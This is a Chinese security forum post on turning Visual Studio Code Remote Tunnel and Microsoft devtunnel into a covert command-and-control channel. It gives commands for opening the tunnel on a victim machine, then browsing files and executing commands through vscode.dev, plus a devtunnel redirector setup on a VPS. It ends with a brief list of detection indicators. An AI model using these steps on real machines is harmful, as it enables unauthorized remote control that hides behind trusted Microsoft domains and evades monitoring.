[白利用]VSCode还能这样用?
k*s 发表于 湖南 历史精选 3565浏览 · 2024-09-13 10:01

0x01 当作C2

Visual Studio Code Remote - Tunnel 扩展允许您通过安全隧道连接到远程计算机,例如台式电脑或虚拟机 (VM)。您可以从任何地方的 VS Code 客户端连接到该计算机,无需 SSH。
说白话:通过 VS Code 远程控制目标机器
查看帮助:code -h(这两个参数都是与开启隧道有关的参数)

优点
○ 大厂证书,回连域名和 IP 为微软 VS Code,正常开发人员也会使用,可以说是白域名和白 IP
○ HTTPS 加密,执行的命令和回显的数据均为 TLS 加密
○ 操作简便

缺点
○ 受害机器需要能访问 VScode 官网

远程控制

1.受害机器开启 Tunnel

默认受害者安装了 VS Code 的情况

code tunnel


记住授权码:9222-1A1F
注意:此操作要挂梯子,因为连接的是 VS 的官网

2.GitHub 授权

访问 URL:https://github.com/login/device 登录 GitHub 账户进行授权

接下来点击同意授权即可


此时控制台也出现了连接成功的信息

3.访问后门地址进行控制

上面连接成功会出现控制的URL:https://vscode.dev/tunnel/desktop-21fnjqm

左下角出现机器名则表示连接成功!

4.文件浏览和命令执行


可以正常读取文件

写入文件试试

执行命令也没任何问题

目标未安装 VSCode

解决方案:下载单文件版本


同样可以正常使用

检测和防御

特征1.控制台有 log 日志

特征2.外联域名

*.tunnels.api.visualstudio.com
*.devtunnels.ms

特征3.其他特征

固定的进程名:code.exe
参数名:tulnnel
创建进程的行为默认为:cmd.exe 和 powershell.exe
等等

0x02 用作 C2 域前置

1.VPS 下载 devtunnel

wget https://aka.ms/TunnelsCliDownload/linux-x64;mv linux-x64 devtunnel;chmod +x devtunnel

2.开启隧道并认证

./devtunnel user login -g -d


3.创建隧道

./devtunnel create -a <隧道名称>
./devtunnel port create -p 8443 --protocol https
./devtunnel host


此时给出的上线域名:505lmm60-8443.asse.devtunnels.ms

4.连接上线


上线(由于连接的 vscode,需要挂梯子,不然死活上不了线,坑了我半天)

参考连接

https://redsiege.com/blog/2024/04/using-microsoft-dev-tunnels-for-c2-redirection/
https://www.youtube.com/watch?v=9la5vTerq0o&pp=ygUUY29iYWx0IHN0cmlrZSBiZWFjb24%3D

0 条评论
某人
表情
可输入 255